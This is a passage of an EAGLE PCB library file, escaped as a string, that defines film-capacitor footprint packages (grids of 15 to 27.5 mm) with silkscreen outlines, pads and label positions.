x1=\"6.731\" y1=\"2.54\" x2=\"6.731\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"11.176\" y1=\"3.048\" x2=\"11.684\" y2=\"2.54\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"11.176\" y1=\"-3.048\" x2=\"11.684\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"11.176\" y1=\"-3.048\" x2=\"7.112\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"7.112\" y1=\"3.048\" x2=\"11.176\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"11.684\" y1=\"2.54\" x2=\"11.684\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-5.08\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"5.08\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"3\" x=\"10.033\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-5.969\" y=\"3.429\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.524\" y=\"-2.286\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C150-054X183\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 15 mm, outline 5.4 x 18.3 mm</description>\n<wire x1=\"-5.08\" y1=\"1.27\" x2=\"-5.08\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"0\" x2=\"-5.08\" y2=\"-1.27\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-4.191\" y1=\"1.27\" x2=\"-4.191\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-4.191\" y1=\"0\" x2=\"-4.191\" y2=\"-1.27\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-4.191\" y1=\"0\" x2=\"6.096\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"0\" x2=\"-6.096\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.017\" y1=\"2.032\" x2=\"9.017\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.509\" y1=\"-2.54\" x2=\"-8.509\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-9.017\" y1=\"-2.032\" x2=\"-9.017\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.509\" y1=\"2.54\" x2=\"8.509\" y2=\"2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.509\" y1=\"2.54\" x2=\"9.017\" y2=\"2.032\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"8.509\" y1=\"-2.54\" x2=\"9.017\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-9.017\" y1=\"-2.032\" x2=\"-8.509\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-9.017\" y1=\"2.032\" x2=\"-8.509\" y2=\"2.54\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<pad name=\"1\" x=\"-7.493\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"7.493\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-8.382\" y=\"2.921\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.429\" y=\"-2.032\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C150-064X183\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 15 mm, outline 6.4 x 18.3 mm</description>\n<wire x1=\"-5.08\" y1=\"1.27\" x2=\"-5.08\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"0\" x2=\"-5.08\" y2=\"-1.27\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-4.191\" y1=\"1.27\" x2=\"-4.191\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-4.191\" y1=\"0\" x2=\"-4.191\" y2=\"-1.27\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-4.191\" y1=\"0\" x2=\"6.096\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"0\" x2=\"-6.096\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.017\" y1=\"2.54\" x2=\"9.017\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.509\" y1=\"-3.048\" x2=\"-8.509\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-9.017\" y1=\"-2.54\" x2=\"-9.017\" y2=\"2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.509\" y1=\"3.048\" x2=\"8.509\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.509\" y1=\"3.048\" x2=\"9.017\" y2=\"2.54\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"8.509\" y1=\"-3.048\" x2=\"9.017\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-9.017\" y1=\"-2.54\" x2=\"-8.509\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-9.017\" y1=\"2.54\" x2=\"-8.509\" y2=\"3.048\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<pad name=\"1\" x=\"-7.493\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"7.493\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-8.509\" y=\"3.429\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.429\" y=\"-2.032\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C150-072X183\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 15 mm, outline 7.2 x 18.3 mm</description>\n<wire x1=\"-5.08\" y1=\"1.27\" x2=\"-5.08\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"0\" x2=\"-5.08\" y2=\"-1.27\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-4.191\" y1=\"1.27\" x2=\"-4.191\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-4.191\" y1=\"0\" x2=\"-4.191\" y2=\"-1.27\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-4.191\" y1=\"0\" x2=\"6.096\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"0\" x2=\"-6.096\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.017\" y1=\"3.048\" x2=\"9.017\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.509\" y1=\"-3.556\" x2=\"-8.509\" y2=\"-3.556\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-9.017\" y1=\"-3.048\" x2=\"-9.017\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.509\" y1=\"3.556\" x2=\"8.509\" y2=\"3.556\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.509\" y1=\"3.556\" x2=\"9.017\" y2=\"3.048\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"8.509\" y1=\"-3.556\" x2=\"9.017\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-9.017\" y1=\"-3.048\" x2=\"-8.509\" y2=\"-3.556\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-9.017\" y1=\"3.048\" x2=\"-8.509\" y2=\"3.556\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<pad name=\"1\" x=\"-7.493\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"7.493\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-8.509\" y=\"3.937\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.429\" y=\"-2.286\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C150-084X183\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 15 mm, outline 8.4 x 18.3 mm</description>\n<wire x1=\"-5.08\" y1=\"1.27\" x2=\"-5.08\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"0\" x2=\"-5.08\" y2=\"-1.27\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-4.191\" y1=\"1.27\" x2=\"-4.191\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-4.191\" y1=\"0\" x2=\"-4.191\" y2=\"-1.27\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-4.191\" y1=\"0\" x2=\"6.096\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"0\" x2=\"-6.096\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.017\" y1=\"3.556\" x2=\"9.017\" y2=\"-3.556\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.509\" y1=\"-4.064\" x2=\"-8.509\" y2=\"-4.064\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-9.017\" y1=\"-3.556\" x2=\"-9.017\" y2=\"3.556\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.509\" y1=\"4.064\" x2=\"8.509\" y2=\"4.064\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.509\" y1=\"4.064\" x2=\"9.017\" y2=\"3.556\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"8.509\" y1=\"-4.064\" x2=\"9.017\" y2=\"-3.556\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-9.017\" y1=\"-3.556\" x2=\"-8.509\" y2=\"-4.064\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-9.017\" y1=\"3.556\" x2=\"-8.509\" y2=\"4.064\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<pad name=\"1\" x=\"-7.493\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"7.493\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-8.509\" y=\"4.445\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.429\" y=\"-2.54\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C150-091X182\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 15 mm, outline 9.1 x 18.2 mm</description>\n<wire x1=\"-5.08\" y1=\"1.27\" x2=\"-5.08\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"0\" x2=\"-5.08\" y2=\"-1.27\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-4.191\" y1=\"1.27\" x2=\"-4.191\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-4.191\" y1=\"0\" x2=\"-4.191\" y2=\"-1.27\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-4.191\" y1=\"0\" x2=\"6.096\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"0\" x2=\"-6.096\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.017\" y1=\"3.937\" x2=\"9.017\" y2=\"-3.937\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.509\" y1=\"-4.445\" x2=\"-8.509\" y2=\"-4.445\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-9.017\" y1=\"-3.937\" x2=\"-9.017\" y2=\"3.937\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.509\" y1=\"4.445\" x2=\"8.509\" y2=\"4.445\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.509\" y1=\"4.445\" x2=\"9.017\" y2=\"3.937\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"8.509\" y1=\"-4.445\" x2=\"9.017\" y2=\"-3.937\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-9.017\" y1=\"-3.937\" x2=\"-8.509\" y2=\"-4.445\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-9.017\" y1=\"3.937\" x2=\"-8.509\" y2=\"4.445\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<pad name=\"1\" x=\"-7.493\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"7.493\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-8.509\" y=\"4.826\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.429\" y=\"-2.54\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C225-062X268\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 22.5 mm, outline 6.2 x 26.8 mm</description>\n<wire x1=\"-12.827\" y1=\"3.048\" x2=\"12.827\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"13.335\" y1=\"2.54\" x2=\"13.335\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"12.827\" y1=\"-3.048\" x2=\"-12.827\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-13.335\" y1=\"-2.54\" x2=\"-13.335\" y2=\"2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"1.905\" x2=\"-6.731\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"0\" x2=\"-6.731\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"1.905\" x2=\"-7.62\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"0\" x2=\"-7.62\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"12.827\" y1=\"3.048\" x2=\"13.335\" y2=\"2.54\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"12.827\" y1=\"-3.048\" x2=\"13.335\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-13.335\" y1=\"-2.54\" x2=\"-12.827\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-13.335\" y1=\"2.54\" x2=\"-12.827\" y2=\"3.048\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-9.652\" y1=\"0\" x2=\"-7.62\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"0\" x2=\"9.652\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-11.303\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"11.303\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-12.7\" y=\"3.429\" size=\"1.778\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-5.08\" y=\"-2.54\" size=\"1.778\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C225-074X268\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 22.5 mm, outline 7.4 x 26.8 mm</description>\n<wire x1=\"-12.827\" y1=\"3.556\" x2=\"12.827\" y2=\"3.556\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"13.335\" y1=\"3.048\" x2=\"13.335\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"12.827\" y1=\"-3.556\" x2=\"-12.827\" y2=\"-3.556\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-13.335\" y1=\"-3.048\" x2=\"-13.335\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"1.905\" x2=\"-6.731\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"0\" x2=\"-6.731\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"1.905\" x2=\"-7.62\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"0\" x2=\"-7.62\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"12.827\" y1=\"3.556\" x2=\"13.335\" y2=\"3.048\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"12.827\" y1=\"-3.556\" x2=\"13.335\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-13.335\" y1=\"-3.048\" x2=\"-12.827\" y2=\"-3.556\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-13.335\" y1=\"3.048\" x2=\"-12.827\" y2=\"3.556\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-9.652\" y1=\"0\" x2=\"-7.62\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"0\" x2=\"9.652\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-11.303\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"11.303\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-12.827\" y=\"3.937\" size=\"1.778\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-5.08\" y=\"-2.54\" size=\"1.778\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C225-087X268\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 22.5 mm, outline 8.7 x 26.8 mm</description>\n<wire x1=\"-12.827\" y1=\"4.318\" x2=\"12.827\" y2=\"4.318\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"13.335\" y1=\"3.81\" x2=\"13.335\" y2=\"-3.81\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"12.827\" y1=\"-4.318\" x2=\"-12.827\" y2=\"-4.318\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-13.335\" y1=\"-3.81\" x2=\"-13.335\" y2=\"3.81\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"1.905\" x2=\"-6.731\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"0\" x2=\"-6.731\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"1.905\" x2=\"-7.62\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"0\" x2=\"-7.62\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"12.827\" y1=\"4.318\" x2=\"13.335\" y2=\"3.81\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"12.827\" y1=\"-4.318\" x2=\"13.335\" y2=\"-3.81\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-13.335\" y1=\"-3.81\" x2=\"-12.827\" y2=\"-4.318\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-13.335\" y1=\"3.81\" x2=\"-12.827\" y2=\"4.318\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-9.652\" y1=\"0\" x2=\"-7.62\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"0\" x2=\"9.652\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-11.303\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"11.303\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-12.827\" y=\"4.699\" size=\"1.778\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-5.08\" y=\"-2.54\" size=\"1.778\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C225-108X268\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 22.5 mm, outline 10.8 x 26.8 mm</description>\n<wire x1=\"-12.827\" y1=\"5.334\" x2=\"12.827\" y2=\"5.334\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"13.335\" y1=\"4.826\" x2=\"13.335\" y2=\"-4.826\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"12.827\" y1=\"-5.334\" x2=\"-12.827\" y2=\"-5.334\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-13.335\" y1=\"-4.826\" x2=\"-13.335\" y2=\"4.826\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"1.905\" x2=\"-6.731\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"0\" x2=\"-6.731\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"1.905\" x2=\"-7.62\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"0\" x2=\"-7.62\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"12.827\" y1=\"5.334\" x2=\"13.335\" y2=\"4.826\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"12.827\" y1=\"-5.334\" x2=\"13.335\" y2=\"-4.826\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-13.335\" y1=\"-4.826\" x2=\"-12.827\" y2=\"-5.334\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-13.335\" y1=\"4.826\" x2=\"-12.827\" y2=\"5.334\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-9.652\" y1=\"0\" x2=\"-7.62\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"0\" x2=\"9.652\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-11.303\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"11.303\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-12.954\" y=\"5.715\" size=\"1.778\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-5.08\" y=\"-2.54\" size=\"1.778\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C225-113X268\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 22.5 mm, outline 11.3 x 26.8 mm</description>\n<wire x1=\"-12.827\" y1=\"5.588\" x2=\"12.827\" y2=\"5.588\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"13.335\" y1=\"5.08\" x2=\"13.335\" y2=\"-5.08\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"12.827\" y1=\"-5.588\" x2=\"-12.827\" y2=\"-5.588\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-13.335\" y1=\"-5.08\" x2=\"-13.335\" y2=\"5.08\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"1.905\" x2=\"-6.731\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"0\" x2=\"-6.731\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"1.905\" x2=\"-7.62\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"0\" x2=\"-7.62\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"12.827\" y1=\"5.588\" x2=\"13.335\" y2=\"5.08\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"12.827\" y1=\"-5.588\" x2=\"13.335\" y2=\"-5.08\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-13.335\" y1=\"-5.08\" x2=\"-12.827\" y2=\"-5.588\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-13.335\" y1=\"5.08\" x2=\"-12.827\" y2=\"5.588\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-9.652\" y1=\"0\" x2=\"-7.62\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"0\" x2=\"9.652\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-11.303\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"11.303\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-12.954\" y=\"5.969\" size=\"1.778\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-5.08\" y=\"-2.54\" size=\"1.778\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C275-093X316\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 27.5 mm, outline 9.3 x 31.6 mm</description>\n<wire x1=\"-15.24\" y1=\"4.572\" x2=\"15.24\" y2=\"4.572\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"15.748\" y1=\"4.064\" x2=\"15.748\" y2=\"-4.064\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"15.24\" y1=\"-4.572\" x2=\"-15.24\" y2=\"-4.572\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-15.748\" y1=\"-4.064\" x2=\"-15.748\" y2=\"4.064\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"1.905\" x2=\"-6.731\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"0\" x2=\"-6.731\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"1.905\" x2=\"-7.62\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"0\" x2=\"-7.62\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"15.24\" y1=\"4.572\" x2=\"15.748\" y2=\"4.064\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"15.24\" y1=\"-4.572\" x2=\"15.748\" y2=\"-4.064\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-15.748\" y1=\"-4.064\" x2=\"-15.24\" y2=\"-4.572\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-15.748\" y1=\"4.064\" x2=\"-15.24\" y2=\"4.572\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-11.557\" y1=\"0\" x2=\"-7.62\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"0\" x2=\"11.557\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-13.716\" y=\"0\" drill=\"1.1938\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"13.716\" y=\"0\" drill=\"1.1938\" shape=\"octagon\"/>\n<text x=\"-15.24\" y=\"4.953\" size=\"1.778\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-5.08\" y=\"-2.54\" size=\"1.778\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C275-113X316\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 27.5 mm, outline 11.3 x 31.6 mm</description>\n<wire x1=\"-15.24\" y1=\"5.588\" x2=\"15.24\" y2=\"5.588\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"15.748\" y1=\"5.08\" x2=\"15.748\" y2=\"-5.08\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"15.24\" y1=\"-5.588\" x2=\"-15.24\" y2=\"-5.588\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-15.748\" y1=\"-5.08\" x2=\"-15.748\" y2=\"5.08\" width=\"0.1524\" 